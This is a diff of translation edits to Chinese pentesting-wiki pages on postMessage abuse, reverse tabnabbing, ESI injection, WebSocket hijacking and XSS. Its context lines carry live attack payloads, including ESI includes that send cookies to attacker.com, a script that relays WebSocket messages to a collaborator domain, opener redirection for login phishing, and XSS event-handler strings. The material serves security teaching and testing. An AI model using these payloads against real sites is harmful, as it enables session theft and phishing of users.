@ -149,7 +149,7 @@ return
|
||||
```
|
||||
您可以通过创建一个**iframe**，使其**发送****postMessage**并**立即删除**，来强制**`e.source`**的消息为null。
|
||||
|
||||
有关更多信息，请**阅读：**
|
||||
有关更多信息**请阅读：**
|
||||
|
||||
{{#ref}}
|
||||
bypassing-sop-with-iframes-2.md
|
||||
@ -157,9 +157,9 @@ bypassing-sop-with-iframes-2.md
|
||||
|
||||
### X-Frame-Header 绕过
|
||||
|
||||
为了理想地执行这些攻击，您将能够**将受害者网页**放入一个`iframe`中。但一些头部，如`X-Frame-Header`，可以**阻止**这种**行为**。\
|
||||
为了理想地执行这些攻击，您将能够将**受害者网页**放入一个`iframe`中。但某些头部，如`X-Frame-Header`，可能会**阻止**这种**行为**。\
|
||||
在这些情况下，您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页，访问易受攻击的网络应用程序并与之通信：
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
@ -167,27 +167,27 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### 通过阻止主页面窃取发送给子页面的消息
|
||||
|
||||
在以下页面中，您可以看到如何通过在发送数据之前**阻止**主页面来窃取发送给**子 iframe**的**敏感 postmessage 数据**，并利用**子 iframe 中的 XSS**在数据被接收之前**泄露数据**：
|
||||
在以下页面中，您可以看到如何通过在发送数据之前**阻止**主页面来窃取发送给**子iframe**的**敏感postmessage数据**，并利用**子页面中的XSS**在数据被接收之前**泄露数据**：
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过修改 iframe 位置窃取消息
|
||||
### 通过修改iframe位置窃取消息
|
||||
|
||||
如果您可以在没有 X-Frame-Header 的网页中嵌入一个包含另一个 iframe 的页面，您可以**更改该子 iframe 的位置**，因此如果它接收使用**通配符**发送的**postmessage**，攻击者可以**更改**该 iframe 的**源**为一个**由他控制**的页面并**窃取**消息：
|
||||
如果您可以在没有X-Frame-Header的网页中嵌入一个包含另一个iframe的页面，您可以**更改该子iframe的地址**，因此如果它接收使用**通配符**发送的**postmessage**，攻击者可以**更改**该iframe的**来源**为一个**由他控制**的页面并**窃取**消息：
|
||||
|
||||
{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
### postMessage 导致原型污染和/或 XSS
|
||||
### postMessage导致原型污染和/或XSS
|
||||
|
||||
在通过 `postMessage` 发送的数据被 JS 执行的场景中，您可以**嵌入**该**页面**并**利用**通过 `postMessage` 发送的**原型污染/XSS**进行攻击。
|
||||
在通过`postMessage`发送的数据被JS执行的场景中，您可以**嵌入**该**页面**并**利用**原型污染/XSS，通过`postMessage`发送漏洞。
|
||||
|
||||
一些**通过 `postMessage` 解释得非常好的 XSS**可以在 [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 找到。
|
||||
一些**通过`postMessage`很好解释的XSS**可以在 [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 找到。
|
||||
|
||||
通过 `postMessage` 对 `iframe` 进行原型污染和 XSS 的攻击示例：
|
||||
通过`postMessage`对`iframe`进行原型污染然后XSS的漏洞示例：
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
||||
@ -2,10 +2,10 @@
|
||||
|
||||
# 描述
|
||||
|
||||
在一个**攻击者**可以**控制**即将被受害者点击的带有属性**`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下，**攻击者**将此**链接**指向一个他控制的网页（一个**恶意****网站**）。然后，一旦**受害者点击**该链接并访问攻击者的网站，这个**恶意****网站**将能够通过javascript对象**`window.opener`**来**控制****原始****页面**。\
|
||||
在一个**攻击者**可以**控制**一个带有属性**`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下，该标签将被受害者点击，**攻击者**将此**链接**指向一个他控制的网页（一个**恶意**网站）。然后，一旦**受害者点击**该链接并访问攻击者的网站，这个**恶意**网站将能够通过javascript对象**`window.opener`**来**控制****原始**页面。\
|
||||
如果页面没有**`rel="opener"`但包含`target="_blank"`且也没有`rel="noopener"`**，它也可能是脆弱的。
|
||||
|
||||
滥用这种行为的常规方法是通过`window.opener.location = https://attacker.com/victim.html`将**原始网页**的位置更改为一个由攻击者控制的**看起来像原始网页**的网页，以便它可以**模仿**原始网站的**登录****表单**并向用户请求凭据。
|
||||
滥用这种行为的常规方法是通过`window.opener.location = https://attacker.com/victim.html`来**更改原始网页的位置**，指向一个由攻击者控制的**看起来像原始网页**的网页，这样它可以**模仿**原始网站的**登录****表单**并向用户请求凭据。
|
||||
|
||||
然而，请注意，由于**攻击者现在可以控制原始网站的窗口对象**，他可以以其他方式滥用它来执行**更隐蔽的攻击**（也许修改javascript事件以将信息外泄到他控制的服务器？）
|
||||
|
||||
@ -25,9 +25,9 @@
|
||||
|
||||
## 示例 <a href="#examples" id="examples"></a>
|
||||
|
||||
在一个文件夹中创建以下页面，并使用`python3 -m http.server`运行一个web服务器。\
|
||||
然后，**访问**`http://127.0.0.1:8000/`vulnerable.html，**点击**链接并注意**原始****网站**的**URL**是如何**变化**的。
|
||||
```markup:vulnerable.html
|
||||
在一个文件夹中创建以下页面并运行一个web服务器，使用`python3 -m http.server`\
|
||||
然后，**访问**`http://127.0.0.1:8000/`vulnerable.html，**点击**链接并注意**原始**网站的**URL**是如何**变化**的。
|
||||
```html:vulnerable.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -37,7 +37,7 @@
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious.html
|
||||
```html:malicious.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious_redir.html
|
||||
```html:malicious_redir.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -58,17 +58,17 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
```
|
||||
## 可访问的属性 <a href="#accessible-properties" id="accessible-properties"></a>
|
||||
|
||||
在发生**跨源**访问的情况下（跨不同域的访问），恶意网站可以访问的**window** JavaScript 类实例的属性仅限于以下内容：
|
||||
在发生**跨源**访问的情况下（跨不同域的访问），恶意网站可以访问的由**opener** JavaScript对象引用所指的**window** JavaScript类实例的属性仅限于以下内容：
|
||||
|
||||
- **`opener.closed`**：此属性用于确定窗口是否已关闭，返回布尔值。
|
||||
- **`opener.frames`**：此属性提供对当前窗口内所有 iframe 元素的访问。
|
||||
- **`opener.length`**：此属性返回当前窗口中存在的 iframe 元素的数量。
|
||||
- **`opener.frames`**：此属性提供对当前窗口内所有iframe元素的访问。
|
||||
- **`opener.length`**：此属性返回当前窗口中存在的iframe元素的数量。
|
||||
- **`opener.opener`**：可以通过此属性获取打开当前窗口的窗口的引用。
|
||||
- **`opener.parent`**：此属性返回当前窗口的父窗口。
|
||||
- **`opener.self`**：此属性提供对当前窗口本身的访问。
|
||||
- **`opener.top`**：此属性返回最上层的浏览器窗口。
|
||||
|
||||
然而，在域名相同的情况下，恶意网站可以访问[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript 对象引用所暴露的所有属性。
|
||||
然而，在域名相同的情况下，恶意网站可以访问[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript对象引用所暴露的所有属性。
|
||||
|
||||
# 预防
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
**（介绍摘自** [**Apache 文档**](https://httpd.apache.org/docs/current/howto/ssi.html)**）**
|
||||
|
||||
SSI（服务器端包含）是指令，**放置在 HTML 页面中，并在服务器上进行评估**，同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**，而无需通过 CGI 程序或其他动态技术提供整个页面。\
|
||||
例如，您可能会在现有 HTML 页面中放置一个指令，如：
|
||||
例如，您可以在现有 HTML 页面中放置一个指令，如：
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
|
||||
@ -61,12 +61,12 @@ SSI（服务器端包含）是指令，**放置在 HTML 页面中，并在服务
|
||||
|
||||
### ESI Detection
|
||||
|
||||
以下**header**来自服务器的响应，意味着服务器正在使用ESI：
|
||||
以下**头部**在服务器的响应中意味着服务器正在使用ESI：
|
||||
```
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
如果您找不到此头部，服务器**可能仍在使用 ESI**。\
|
||||
**盲目利用方法也可以使用**，因为请求应该到达攻击者的服务器：
|
||||
如果您找不到此头部，服务器 **可能仍在使用 ESI**。\
|
||||
可以使用 **盲目利用方法**，因为请求应该到达攻击者的服务器：
|
||||
```javascript
|
||||
// Basic detection
|
||||
hell<!--esi-->o
|
||||
@ -127,7 +127,7 @@ Use <!--esi--> to bypass WAFs:
|
||||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||
```
|
||||
- 通过在响应中反射来使用 XSS 偷取 cookie HTTP_ONLY：
|
||||
- 通过在响应中反射来窃取 cookie HTTP_ONLY 的 XSS：
|
||||
```bash
|
||||
# This will reflect the cookies in the response
|
||||
<!--esi $(HTTP_COOKIE) -->
|
||||
@ -139,11 +139,11 @@ Use <!--esi--> to bypass WAFs:
|
||||
#### 私有本地文件
|
||||
|
||||
不要将其与“本地文件包含”混淆：
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
#### Open Redirect
|
||||
@ -183,7 +183,7 @@ Host: anotherhost.com"/>
|
||||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
在ESI中使用**`eXtensible Stylesheet Language Transformations (XSLT)`**语法是可能的，只需将参数**`dca`**的值设置为**`xslt`**。这可能允许滥用**XSLT**来创建和利用XML外部实体漏洞（XXE）：
|
||||
在 ESI 中使用 **`eXtensible Stylesheet Language Transformations (XSLT)`** 语法是可能的，只需将参数 **`dca`** 的值指示为 **`xslt`**。这可能允许滥用 **XSLT** 来创建和利用 XML 外部实体漏洞 (XXE)：
|
||||
```xml
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
@ -199,7 +199,7 @@ Host: anotherhost.com"/>
|
||||
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
|
||||
### 参考文献
|
||||
### 参考
|
||||
|
||||
- [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
|
||||
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
|
||||
|
||||
@ -12,7 +12,7 @@ WebSocket 连接通过初始的 **HTTP** 握手建立，旨在实现 **长时间
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
`wss` 协议表示一个使用 **TLS** 保护的 WebSocket 连接，而 `ws` 表示一个 **不安全** 的连接。
|
||||
`wss` 协议表示一个通过 **TLS** 安全的 WebSocket 连接，而 `ws` 表示一个 **不安全** 的连接。
|
||||
|
||||
在连接建立期间，浏览器和服务器之间通过 HTTP 进行握手。握手过程涉及浏览器发送请求和服务器响应，如下例所示：
|
||||
|
||||
@ -33,7 +33,7 @@ Connection: Upgrade
|
||||
Upgrade: websocket
|
||||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
```
|
||||
连接一旦建立，便可以双向交换消息。
|
||||
连接一旦建立，便可以在双向进行消息交换。
|
||||
|
||||
**WebSocket 握手的关键点：**
|
||||
|
||||
@ -42,7 +42,7 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
- 在 `Sec-WebSocket-Key` 头部中发送一个 Base64 编码的随机值，确保每个握手都是唯一的，这有助于防止缓存代理出现问题。该值不是用于身份验证，而是用于确认响应不是由配置错误的服务器或缓存生成的。
|
||||
- 服务器响应中的 `Sec-WebSocket-Accept` 头部是 `Sec-WebSocket-Key` 的哈希，验证服务器打开 WebSocket 连接的意图。
|
||||
|
||||
这些特性确保握手过程安全可靠，为高效的实时通信铺平道路。
|
||||
这些特性确保了握手过程的安全性和可靠性，为高效的实时通信铺平了道路。
|
||||
|
||||
### Linux 控制台
|
||||
|
||||
@ -76,20 +76,20 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
|
||||
## Websocket Lab
|
||||
|
||||
在 [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 中，您有一个代码来启动一个使用 websockets 的网站，在 [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 中您可以找到解释。
|
||||
在 [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 中，您有一个代码来启动一个使用 websockets 的网页，在 [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 中可以找到解释。
|
||||
|
||||
## Cross-site WebSocket hijacking (CSWSH)
|
||||
|
||||
**Cross-site WebSocket hijacking**，也称为 **cross-origin WebSocket hijacking**，被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证而没有 **CSRF tokens** 或类似的安全措施时，就会出现此漏洞。
|
||||
|
||||
攻击者可以通过托管一个 **malicious web page** 来利用这一点，该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此，这个连接被视为受害者与应用程序的会话的一部分，利用会话处理机制中缺乏 CSRF 保护。
|
||||
攻击者可以通过托管一个 **malicious web page** 来利用这一点，该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此，该连接被视为受害者与应用程序的会话的一部分，利用会话处理机制中缺乏 CSRF 保护。
|
||||
|
||||
### Simple Attack
|
||||
|
||||
请注意，当 **establishing** 一个 **websocket** 连接时，**cookie** 会被 **sent** 到服务器。**server** 可能会使用它来 **relate** 每个 **specific** **user** 与其基于发送的 cookie 的 **websocket** **session**。
|
||||
|
||||
然后，如果 **例如** **websocket** **server** **发送回用户的对话历史**，如果发送了一个带有 "**READY"** 的消息，那么一个 **simple XSS** 建立连接（**cookie** 将 **automatically** 被 **sent** 以授权受害者用户） **sending** "**READY**" 将能够 **retrieve** 对话的 **history**。
|
||||
```markup
|
||||
然后，如果 **例如** **websocket** **server** **发送回用户的对话历史**，如果发送了带有 "**READY"** 的消息，那么一个 **simple XSS** 建立连接（**cookie** 将 **automatically** 被 **sent** 以授权受害者用户） **sending** "**READY**" 将能够 **retrieve** 对话的 **history**。
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
websocket.onopen = start
|
||||
@ -103,7 +103,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### 跨源 + 不同子域的 Cookie
|
||||
### 跨域 + 不同子域的 Cookie
|
||||
|
||||
在这篇博客文章 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中，攻击者成功地 **在进行 Websocket 通信的域的子域中执行了任意 Javascript**。因为这是一个 **子域**，**cookie** 被 **发送**，而且 **Websocket 没有正确检查 Origin**，因此可以与其通信并 **窃取其中的令牌**。
|
||||
|
||||
|
||||
@ -2,30 +2,30 @@
|
||||
|
||||
## 方法论
|
||||
|
||||
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被** **JS** 代码 **使用**。
|
||||
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被 JS 代码使用**。
|
||||
2. **找到上下文**，查看它是如何被反射/使用的。
|
||||
3. 如果 **被反射**：
|
||||
1. 检查 **你可以使用哪些符号**，并根据此准备有效载荷：
|
||||
1. 在 **原始 HTML** 中：
|
||||
1. 你能创建新的 HTML 标签吗？
|
||||
2. 你能使用支持 `javascript:` 协议的事件或属性吗？
|
||||
3. 你能绕过保护措施吗？
|
||||
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释，你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你不能创建执行 JS 代码的 HTML 标签，你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗？
|
||||
2. 在 **HTML 标签内**：
|
||||
1. 你能退出到原始 HTML 上下文吗？
|
||||
2. 你能创建新的事件/属性来执行 JS 代码吗？
|
||||
3. 你被困的属性是否支持 JS 执行？
|
||||
4. 你能绕过保护措施吗？
|
||||
3. 在 **JavaScript 代码中**：
|
||||
1. 你能逃逸 `<script>` 标签吗？
|
||||
2. 你能逃逸字符串并执行不同的 JS 代码吗？
|
||||
3. 你的输入是否在模板字面量 \`\` 中？
|
||||
4. 你能绕过保护措施吗？
|
||||
4. 被 **执行的** Javascript **函数**：
|
||||
1. 你可以指明要执行的函数名称。例如： `?callback=alert(1)`
|
||||
1. 检查 **你可以使用哪些符号**，并根据此准备有效载荷：
|
||||
1. 在 **原始 HTML** 中：
|
||||
1. 你能创建新的 HTML 标签吗？
|
||||
2. 你能使用支持 `javascript:` 协议的事件或属性吗？
|
||||
3. 你能绕过保护措施吗？
|
||||
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释，你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你不能创建执行 JS 代码的 HTML 标签，你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗？
|
||||
2. 在 **HTML 标签内**：
|
||||
1. 你能退出到原始 HTML 上下文吗？
|
||||
2. 你能创建新的事件/属性来执行 JS 代码吗？
|
||||
3. 你被困的属性是否支持 JS 执行？
|
||||
4. 你能绕过保护措施吗？
|
||||
3. 在 **JavaScript 代码中**：
|
||||
1. 你能逃避 `<script>` 标签吗？
|
||||
2. 你能逃避字符串并执行不同的 JS 代码吗？
|
||||
3. 你的输入是否在模板字面量 \`\` 中？
|
||||
4. 你能绕过保护措施吗？
|
||||
4. Javascript **函数**被 **执行**：
|
||||
1. 你可以指明要执行的函数名称。例如：`?callback=alert(1)`
|
||||
4. 如果 **被使用**：
|
||||
1. 你可以利用 **DOM XSS**，注意你的输入是如何被控制的，以及你的 **受控输入是否被任何接收器使用**。
|
||||
1. 你可以利用 **DOM XSS**，注意你的输入是如何被控制的，以及你的 **受控输入是否被任何接收器使用**。
|
||||
|
||||
在处理复杂的 XSS 时，你可能会发现了解以下内容很有趣：
|
||||
|
||||
@ -37,8 +37,8 @@ debugging-client-side-js.md
|
||||
|
||||
为了成功利用 XSS，你需要找到的第一件事是 **一个由你控制的值在网页中被反射**。
|
||||
|
||||
- **中间反射**：如果你发现参数的值甚至路径在网页中被反射，你可以利用 **反射型 XSS**。
|
||||
- **存储并反射**：如果你发现一个由你控制的值被保存在服务器中，并且每次访问页面时都会被反射，你可以利用 **存储型 XSS**。
|
||||
- **中间反射**：如果你发现参数的值甚至路径在网页中被反射，你可以利用 **反射 XSS**。
|
||||
- **存储并反射**：如果你发现一个由你控制的值被保存在服务器中，并且每次访问页面时都会被反射，你可以利用 **存储 XSS**。
|
||||
- **通过 JS 访问**：如果你发现一个由你控制的值通过 JS 被访问，你可以利用 **DOM XSS**。
|
||||
|
||||
## 上下文
|
||||
@ -47,19 +47,19 @@ debugging-client-side-js.md
|
||||
|
||||
### 原始 HTML
|
||||
|
||||
如果你的输入在 **原始 HTML** 页面中被 **反射**，你需要利用某些 **HTML 标签** 来执行 JS 代码：`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
|
||||
如果你的输入在 **原始 HTML** 页面中被 **反射**，你需要利用一些 **HTML 标签** 来执行 JS 代码：`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
|
||||
此外，请记住 [客户端模板注入](../client-side-template-injection-csti.md)。
|
||||
|
||||
### 在 HTML 标签属性内
|
||||
|
||||
如果你的输入在标签的属性值中被反射，你可以尝试：
|
||||
|
||||
1. **逃逸属性和标签**（然后你将处于原始 HTML 中）并创建新的 HTML 标签进行利用：`"><img [...]`
|
||||
2. 如果你 **可以逃逸属性但不能逃逸标签**（`>` 被编码或删除），根据标签的不同，你可以 **创建一个事件** 来执行 JS 代码：`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你 **无法逃逸属性**（`"` 被编码或删除），那么根据 **你的值被反射在哪个属性** 以及 **你是否控制整个值或仅部分值**，你将能够进行利用。例如，如果你控制一个事件如 `onclick=`，你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在 "**不可利用的标签**" 内被反射，你可以尝试 **`accesskey`** 技巧来利用这个漏洞（你将需要某种社交工程来利用它）：**`" accesskey="x" onclick="alert(1)" x="**
|
||||
1. **从属性和标签中逃脱**（然后你将处于原始 HTML 中）并创建新的 HTML 标签进行利用：`"><img [...]`
|
||||
2. 如果你 **可以从属性中逃脱但不能从标签中逃脱**（`>` 被编码或删除），根据标签的不同，你可以 **创建一个事件** 来执行 JS 代码：`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你 **无法从属性中逃脱**（`"` 被编码或删除），那么根据 **你的值被反射在哪个属性中**，以及 **你是否控制整个值或仅部分值**，你将能够进行利用。例如，如果你控制一个事件如 `onclick=`，你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在 "**不可利用的标签**" 中被反射，你可以尝试 **`accesskey`** 技巧来利用这个漏洞（你将需要某种社交工程来利用这一点）：**`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
如果你控制类名，Angular 执行 XSS 的奇怪例子：
|
||||
如果你控制一个类名，Angular 执行 XSS 的奇怪例子：
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -94,13 +94,13 @@ js-hoisting.md
|
||||
|
||||
一些网页有端点**接受作为参数要执行的函数名称**。在实际中常见的例子是类似于：`?callback=callbackFunc`。
|
||||
|
||||
找出用户直接提供的内容是否尝试被执行的一个好方法是**修改参数值**（例如改为 'Vulnerable'），并在控制台中查找错误，例如：
|
||||
找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**（例如改为 'Vulnerable'），并在控制台中查找错误，例如：
|
||||
|
||||
.png>)
|
||||
|
||||
如果它是脆弱的，您可能能够**触发一个警报**，只需发送值：**`?callback=alert(1)`**。然而，这些端点通常会**验证内容**，只允许字母、数字、点和下划线（**`[\w\._]`**）。
|
||||
|
||||
然而，即使有这个限制，仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**：
|
||||
然而，即使有这个限制，仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**：
|
||||
|
||||
.png>)
|
||||
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **通用 XSS**
|
||||
|
||||
这种类型的 XSS 可以在**任何地方**找到。它们不仅仅依赖于对 Web 应用程序的客户端利用，而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取**客户端和服务器中的**任意****文件**等。\
|
||||
这种类型的 XSS 可以在**任何地方**找到。它们不仅依赖于对 Web 应用程序的客户端利用，还依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取**客户端和服务器中的**任意****文件**等。\
|
||||
一些**示例**：
|
||||
|
||||
{{#ref}}
|
||||
@ -162,11 +162,11 @@ alert(1)
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
但是，如果使用了标签/属性的黑白名单，您需要**暴力破解可以创建的标签**。\
|
||||
一旦您**找到了允许的标签**，您需要**暴力破解属性/事件**，以查看如何攻击该上下文。
|
||||
一旦您**找到了允许的标签**，您需要**暴力破解有效标签内的属性/事件**，以查看如何攻击该上下文。
|
||||
|
||||
### 标签/事件暴力破解
|
||||
|
||||
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)，然后点击 _**复制标签到剪贴板**_。然后，使用 Burp intruder 发送所有标签，并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签，您可以使用有效标签**暴力破解所有事件**（在同一网页上点击 _**复制事件到剪贴板**_，并按照之前的相同程序进行操作）。
|
||||
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)，然后点击 _**复制标签到剪贴板**_。接着，使用 Burp intruder 发送所有标签，并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签，您可以使用有效标签**暴力破解所有事件**（在同一网页上点击 _**复制事件到剪贴板**_，并按照之前的程序进行）。
|
||||
|
||||
### 自定义标签
|
||||
|
||||
@ -233,24 +233,24 @@ onerror=alert`1`
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
最后一个使用了两个 Unicode 字符，扩展为五个：telsr\
|
||||
更多这些字符可以在 [这里](https://www.unicode.org/charts/normalization/) 找到。\
|
||||
要检查哪些字符被分解，请查看 [这里](https://www.compart.com/en/unicode/U+2121)。
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
如果为了利用该漏洞，您需要 **用户点击一个链接或一个带有预填充数据的表单**，您可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)（如果页面存在漏洞）。
|
||||
如果为了利用这个漏洞，你需要**用户点击一个链接或一个带有预填充数据的表单**，你可以尝试[**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)（如果页面是脆弱的）。
|
||||
|
||||
### 不可能 - 悬挂标记
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
如果您认为 **创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**，您应该检查 [**悬挂标记**](../dangling-markup-html-scriptless-injection/index.html)，因为您可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞。
|
||||
如果你认为**创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**，你应该检查[**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)，因为你可以**利用**这个漏洞**而不**执行**JS**代码。
|
||||
|
||||
## 在 HTML 标签内注入
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### 在标签内/从属性值中转义
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
如果您在 **HTML 标签内**，您可以尝试的第一件事是 **从标签中转义**，并使用 [上一节](#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
|
||||
如果您 **无法从标签中转义**，您可以在标签内创建新的属性以尝试执行 JS 代码，例如使用一些有效载荷（_请注意，在此示例中使用双引号从属性中转义，如果您的输入直接反映在标签内，则不需要它们_）：
|
||||
如果你在**HTML 标签内部**，你可以尝试的第一件事是**逃离**这个标签，并使用[上一节](#injecting-inside-raw-html)中提到的一些技术来执行 JS 代码。\
|
||||
如果你**无法逃离这个标签**，你可以在标签内部创建新的属性来尝试执行 JS 代码，例如使用一些有效载荷（_注意在这个例子中使用双引号来逃离属性，如果你的输入直接反映在标签内部，你就不需要它们_）：
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,7 +267,7 @@ onerror=alert`1`
|
||||
```
|
||||
### Within the attribute
|
||||
|
||||
即使你**无法从属性中逃脱**（`"`被编码或删除），根据**你的值反射在哪个属性中**，**如果你控制所有值或只是部分值**，你仍然能够利用它。**例如**，如果你控制一个事件如`onclick=`，你将能够在点击时执行任意代码。\
|
||||
即使你**无法从属性中逃脱**（`"`被编码或删除），根据**你的值反射在哪个属性中**，**如果你控制所有值或只是部分值**，你将能够利用它。**例如**，如果你控制一个事件如`onclick=`，你将能够使其在点击时执行任意代码。\
|
||||
另一个有趣的**例子**是属性`href`，你可以使用`javascript:`协议来执行任意代码：**`href="javascript:alert(1)"`**
|
||||
|
||||
